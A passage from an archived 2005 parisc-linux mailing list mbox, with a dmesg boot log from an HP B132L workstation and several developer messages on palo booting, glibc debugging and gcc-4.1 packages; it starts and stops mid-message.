D-cache         : 64 KB (WB, 0-way associative)
ITLB entries    : 96
DTLB entries    : 96 - shared with ITLB
BTLB fixed      : max. 16384 pages, pagesize=4096 (64MB)
BTLB fix-entr.  : 0 instruction, 0 data (8 combined)
BTLB var-entr.  : 0 instruction, 0 data (0 combined)
bogomips        : 87.85
software id     : 2012763504

dmesg is attached.

Do you have the external CDROM on the narrow or wide SCSI bus?
Put it on the narrow interface if it isn't already and double
check your termination. Is the CDROM detected and listed during
SCSI probing?

Try burning another copy of the cd. What did you use to burn it -
I used plain old cdrecord.

Sorry I can 't be more helpful, but on the evidence so far I don't
know what more to suggest.

-Andy




--Boundary_(ID_24Z/Hnb6/lCwIuiHFjTutw)
Content-type: text/plain; name=dmesg.weasel
Content-transfer-encoding: 7BIT
Content-disposition: inline; filename=dmesg.weasel

Linux version 2.6.12.2-pa2-livecd32 (root@hake) (gcc version 3.3.5 (Gentoo 3.3.5-r1, pie-8.7.7.1)) #1 Thu Jul 28 17:56:02 UTC 2005
FP[0] enabled: Rev 1 Model 15
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005010 00000481 00000000 02020202 77f85570 100000f0 00000004 000000ba 000000ba
vers  00000008
CPUID vers 15 rev 8 (0x000001e8)
capabilities 0x2
model 9000/778/B132L
Total Memory: 384 MB
initrd: 27f09000-27fef455
initrd: reserving 17f09000-17fef455 (mem_max 18000000)
On node 0 totalpages: 98304
  DMA zone: 98304 pages, LIFO batch:31
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
LED display at f0190001 registered
Built 1 zonelists
Kernel command line:  TERM=linux root=/dev/ram0 init=/linuxrc cdroot looptype=squashfs loop=/livecd.squashfs hda=scsi console=tty0 sti=8/24 sti_font=VGA8x16 palo_kernel=0/vmlinux
ide_setup: hda=scsi
PID hash table entries: 2048 (order: 11, 32768 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 65536 (order: 6, 262144 bytes)
Inode-cache hash table entries: 32768 (order: 5, 131072 bytes)
Memory: 393216k available
Calibrating delay loop... 87.85 BogoMIPS (lpj=439296)
Mount-cache hash table entries: 512
checking if image is initramfs... it is
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Phantom PseudoBC GSC+ Port at 0xffc00000 [8] { 7, 0x0, 0x504, 0x00000 }
2. Merlin 132 Core FW-SCSI at 0xfff8c000 [8/12] { 4, 0x0, 0x03c, 0x00089 }
3. Merlin 132 Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x03c, 0x00081 },  additional addresses: 0xffd0c000 0xffc00000 
4. Merlin 132 Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x03c, 0x0008c }
5. Merlin 132 Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x03c, 0x00082 }
6. Merlin 132 Core LAN (802.3) at 0xffd07000 [8/16/6] { 10, 0x0, 0x03c, 0x0008a }
7. Merlin 132 Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x03c, 0x00074 },  additional addresses: 0xffd01000 0xffd03000 
8. Merlin 132 Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x03c, 0x0007b }
9. Merlin 132 Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x03c, 0x00084 }
10. Merlin 132 Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x03c, 0x00084 }
11. Merlin 132 Wax BA at 0xffe00000 [8/20] { 11, 0x0, 0x040, 0x0008e }
12. Merlin 132 Wax EISA BA at 0xfc000000 [8/20/5] { 11, 0x0, 0x040, 0x00090 },  additional addresses: 0xf0184000 
13. Merlin 132 Wax HIL at 0xffe01000 [8/20/1] { 10, 0x0, 0x040, 0x00073 }
14. Merlin 132 Wax RS-232 at 0xffe02000 [8/20/2] { 10, 0x0, 0x040, 0x0008c }
15. Coral SGC Graphics at 0xf4000000 [8/8] { 10, 0x0, 0x004, 0x00077 }
16. Gecko GSC Core Graphics at 0xf8000000 [8/24] { 10, 0x0, 0x016, 0x00085 },  additional addresses: 0xf0011000 
17. Dino PCI Bridge at 0xfff80000 [8/0] { 13, 0x1, 0x680, 0x0000a }
18. Merlin L2 132 (9000/778/B132L) at 0xfffbe000 [62] { 0, 0x0, 0x501, 0x00004 }
19. Memory at 0xfffbf000 [63] { 1, 0x0, 0x060, 0x00009 }
20. Merlin+ 132 Dino PS/2 Port at 0xfff81000 [1] { 10, 0x0, 0x022, 0x00096 }
21. Merlin+ 132 Dino RS-232 at 0xfff83000 [3] { 10, 0x0, 0x022, 0x0008c }
CPU(s): 1 x PA7300LC (PCX-L2) at 132.000000 MHz
Whole cache flush 18808 cycles, flushing 275038852 bytes 39507518 cycles
Setting cache flush threshold to 40 (1 CPUs online)
Lasi version 0 at 0xffd00000 found.
wax at 0xffe00000 found.
Wax EISA Adapter found at 0xfc000000
Enumerating EISA bus
EISA: Probing bus 0 at 8:20:5
EISA: Mainboard HWPC000 detected.
EISA: Detected 0 cards.
Dino version 2.1 found at 0xfff80000
The GSCtoPCI (Dino hrev 1) bus converter found may exhibit
data corruption.  See Service Note Numbers: A4190A-01, A4191A-01.
Systems shipped after Aug 20, 1997 will not exhibit this problem.
Models affected: C180, C160, C160L, B160L, and B132L workstations.

Dino: No PCI devices enabled.
SCSI subsystem initialized
usbcore: registered new driver hub
unwind_init: start = 0x10499060, end = 0x104ccd70, entries = 13265
Squashfs 2.1 (released 2004/12/10) (C) 2002-2004 Phillip Lougher
devfs: 2004-01-31 Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x1
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
SGI XFS with ACLs, security attributes, realtime, no debug enabled
SGI XFS Quota Management subsystem
Initializing Cryptographic API
EISA EEPROM at 0xf0184000
PDC Stable Storage facility v0.09
Soft power switch enabled, polling @ 0xf0140000.
STI GSC/PCI core graphics driver Version 0.9a
    id 2bcb015a-9a02587, conforms to spec rev. 8.04
    graphics card name: HPA4071B
    id 2d08c0a7-9a02587, conforms to spec rev. 8.07
    graphics card name: INTERNAL_EG_1280
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, INTERNAL_EG_1280, id: 2d08c0a7, mmio: 0xf8100000
fb1: stifb 1280x1024-32 frame buffer device, HPA4071B, id: 2bcb015a, mmio: 0xf4100000
Generic RTC Driver v1.07
serio: GSC PS/2 keyboard port at 0xffd08000 irq 21 @ 8:16:7
serio: GSC PS/2 mouse port at 0xffd08100 irq 21 @ 8:16:8
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
ttyS0 at MMIO 0xffd05800 (irq = 16) is a 16550A
ttyS1 at MMIO 0xffe02800 (irq = 26) is a 16550A
Serial: device 0xfff83000 not configured.
Enable support for Wax, Lasi, Asp or Dino.
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
ide: Assuming 50MHz system bus speed for PIO modes; override with idebus=xx
zalon_probe: Zalon version 1, IRQ 67
ncr53c720-0: rev 0xf irq 67
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3g
  Vendor: SEAGATE   Model: ST39173WD         Rev: 5764
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target0:0:0: Beginning Domain Validation
 target0:0:0: asynchronous.
WIDTH IS 1
 target0:0:0: wide asynchronous.
 target0:0:0: Domain Validation skipping write tests
 target0:0:0: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
 target0:0:0: Ending Domain Validation
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
  Vendor: COMPAQ    Model: CRD-254V          Rev: 1.06
  Type:   CD-ROM                             ANSI SCSI revision: 02
 target1:0:2: Beginning Domain Validation
 target1:0:2: asynchronous.
 target1:0:2: Ending Domain Validation
st: Version 20050312, fixed bufsize 32768, s/g segs 256
SCSI device sda: 17783240 512-byte hdwr sectors (9105 MB)
SCSI device sda: drive cache: write back
SCSI device sda: 17783240 512-byte hdwr sectors (9105 MB)
SCSI device sda: drive cache: write back
 /dev/scsi/host0/bus0/target0/lun0: p1 p2 p3 p4 < p5 p6 p7 p8 >
Attached scsi disk sda at scsi0, channel 0, id 0, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.20
Attached scsi CD-ROM sr0 at scsi1, channel 0, id 2, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 0, lun 0,  type 0
Attached scsi generic sg1 at scsi1, channel 0, id 2, lun 0,  type 5
usbmon: debugs is not available
ehci_hcd: block sizes: qh 128 qtd 96 itd 192 sitd 96
ohci_hcd: 2004 Nov 08 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI)
ohci_hcd: block sizes: ed 64 td 64
usbcore: registered new driver hiddev
usbcore: registered new driver usbhid
drivers/usb/input/hid-core.c: v2.01:USB HID core driver
mice: PS/2 mouse device common for all mice
Found HIL bus at 0xffe01000, IRQ 24
input: AT Raw Set 2 keyboard on 8:16:7
HIL: no keyboard present.
input: HIL keyboard, ID -1 at 0xffe01000 (irq 24) found and attached
NET: Registered protocol family 2
IP: routing cache hash table of 4096 buckets, 32Kbytes
TCP established hash table entries: 16384 (order: 5, 131072 bytes)
TCP bind hash table entries: 16384 (order: 4, 65536 bytes)
TCP: Hash tables configured (established 16384 bind 16384)
NET: Registered protocol family 1
NET: Registered protocol family 10
Disabled Privacy Extensions on device 1052804c(lo)
IPv6 over IPv4 tunneling driver
NET: Registered protocol family 17
Freeing unused kernel memory: 368k freed
VFS: Can't find ext3 filesystem on dev sr0.
VFS: Can't find an ext2 filesystem on dev sr0.
SQUASHFS error: Can't find a SQUASHFS superblock on sr0
ISO 9660 Extensions: Microsoft Joliet Level 3
Unable to load NLS charset iso8859-15
Unable to load NLS charset iso8859-15
ISO 9660 Extensions: RRIP_1991A
LASI 82596 driver - Revision: 1.30
Found i82596 at 0xffd07000, IRQ 18
eth0: 82596 at 0xffd07000, 00 60 B0 07 1C 2C IRQ 18.
eth0: link ok.
eth0: no IPv6 routers present

--Boundary_(ID_24Z/Hnb6/lCwIuiHFjTutw)
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary_(ID_24Z/Hnb6/lCwIuiHFjTutw)--



From - Thu Nov 08 21:34:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on rp8400
Date: Fri, 11 Nov 2005 07:38:13 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20051111143813.GB1658@parisc-linux.org>
References: <92dc10290511090202w13610049p489c16a0fc0642bb@mail.gmail.com>
	<20051109122253.GA27540@parisc-linux.org>
	<20051109161200.GA4507@colo.lackof.org>
	<92dc10290511091404q4e4d1d91k36dcbb7737fd6153@mail.gmail.com>
	<43746C1E.4070003@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623936 16891 80.91.229.3 (22 Nov 2014 02:38:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Nov 2005 14:38:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 11 Nov 2005 15:38:23 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 895C07D6AC;
	Fri, 11 Nov 2005 07:38:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30623-06; Fri, 11 Nov 2005 07:38:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB2C07D6AD;
	Fri, 11 Nov 2005 07:38:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BBA077D6AA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Nov 2005 07:38:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30623-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Nov 2005 07:38:16 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3BB5A7D6A9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Nov 2005 07:38:16 -0700 (MST)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id B401649400A; Fri, 11 Nov 2005 07:38:13 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <43746C1E.4070003@tiscali.be>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iMkGY4hJeSEkSb6WZHQhaXN1IGRvb0A8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23199

On Fri, Nov 11, 2005 at 10:02:06AM +0000, Joel Soete wrote:
> Vesa Ruokonen wrote:
> >This problem was solved by using latest palo v1.9. I don't know
> >what was wrong or how it had changed since v1.5.

The bad news is that palo 1.9 doesn't necessarily work.  The same
lifimage which boots on nicol (N4000) won't boot on the rp8400.

> >Good news is Linux didn't panic on booting kernel, but bad
> >news are missing devices and lost serial console.
>
> Are you trying a smp kernel? (as it's a smp system that's what would seems 
> the most obvious ;-)
> 
> But did you also tried a up kernel? Is it the same behabiour in this case 
> (missing devices and lost serial console)?

The problem with missing devices is that there's a conflict (two devices
with the same hw path).  At that point, the PAT device enumeration code
gives up.  I've given Vesa a kernel which should fix this, but of course
palo isn't working.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tk8.4 +glibc 2.3.5 buid with gcc-4.0 SEGV
Date: Sun, 13 Nov 2005 11:15:55 -0500 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <200511131615.jADGFtxo027138@hiauly1.hia.nrc.ca>
References: <437726BE.1050402@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623936 16895 80.91.229.3 (22 Nov 2014 02:38:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Nov 2005 16:16:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 13 Nov 2005 17:16:07 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 11F2F7D6C7;
	Sun, 13 Nov 2005 09:16:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26222-06; Sun, 13 Nov 2005 09:16:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6449A7D6C8;
	Sun, 13 Nov 2005 09:16:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5D657D6C5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Nov 2005 09:15:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26275-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Nov 2005 09:15:58 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 0118F7D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Nov 2005 09:15:57 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	jADGFur6027139; Sun, 13 Nov 2005 11:15:56 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jADGFtxo027138;
	Sun, 13 Nov 2005 11:15:55 -0500 (EST)
In-Reply-To: <437726BE.1050402@tiscali.be> from "Joel Soete" at Nov 13,
	2005 11:42:54 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kAMFY/NJeSEkNr6WZHQhaXN1IGRvb4As
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23200

> > I just found another pb with glibc 2.3.5-7 build with gcc-4.0:
> > # tkinfo
> > Segmentation fault (core dumped)

> > (gdb) target core core.14394
> > Using host libthread_db library "/lib/libthread_db.so.1".
> > Core was generated by `wish /usr/bin/tkinfo'.
> > Program terminated with signal 11, Segmentation fault.
> > #0  0x40e98d5c in ?? ()
> > (gdb) bt
> > #0  0x40e98d5c in ?? ()
> > Cannot find bounds of current function (@0x0), unwinding will fail.

This is probably in glibc.  Try with the debug versions.

  export LD_LIBRARY_PATH=/usr/lib/debug

Another trick is to disassemble around 0x40e98d5c.  You can see which
code caused the problem.  You may be able to manually unwind by looking
at the stack and registers even when gdb is confused.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] experimental gcc-4.1 packages
Date: Mon, 14 Nov 2005 16:42:22 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <17272.45150.42124.42574@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623937 16900 80.91.229.3 (22 Nov 2014 02:38:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Nov 2005 15:42:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 14 Nov 2005 16:42:39 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D9C367D6A2;
	Mon, 14 Nov 2005 08:42:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01022-08; Mon, 14 Nov 2005 08:42:30 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3AB387D6A4;
	Mon, 14 Nov 2005 08:42:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ABA5E7D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Nov 2005 08:42:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01032-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Nov 2005 08:42:27 -0700 (MST)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id AC59E7D69D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Nov 2005 08:42:26 -0700 (MST)
Original-Received: from mailhost.cs.tu-berlin.de (postfix@mail.cs.tu-berlin.de
	[130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id QAA09478
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Nov 2005 16:42:23 +0100 (MET)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id 91678F2B9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Nov 2005 16:42:22 +0100 (MET)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (bueno [127.0.0.1]) (amavisd-new, port 10224) with ESMTP
	id 10556-34 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Nov 2005 16:42:22 +0100 (MET) 15249
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Nov 2005 16:42:22 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id jAEFgMj0026536;
	Mon, 14 Nov 2005 16:42:22 +0100 (MET)
X-Mailer: VM 7.17 under 21.4 (patch 17) "Jumbo Shrimp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: J9UKY4lgeSEkW76WZHQhaXN1IGRvb0DM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23201

experimental gcc-4.1 packages will be soon available in the experimental
distribution (currently stuck in NEW). In the meantime, the packages
can be found at http://people.debian.org/~doko/gcc-4.1/

  Matthias
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Console/X problems on HCRX-24
Date: Tue, 15 Nov 2005 19:59:18 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <20051115195918.GA5640@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623937 16903 80.91.229.3 (22 Nov 2014 02:38:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 Johannes Raspe <j.raspe@t-online.de>,
 Andy Walker <ajwalker@broadpark.no>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Nov 2005 19:59:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 15 Nov 2005 20:59:36 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
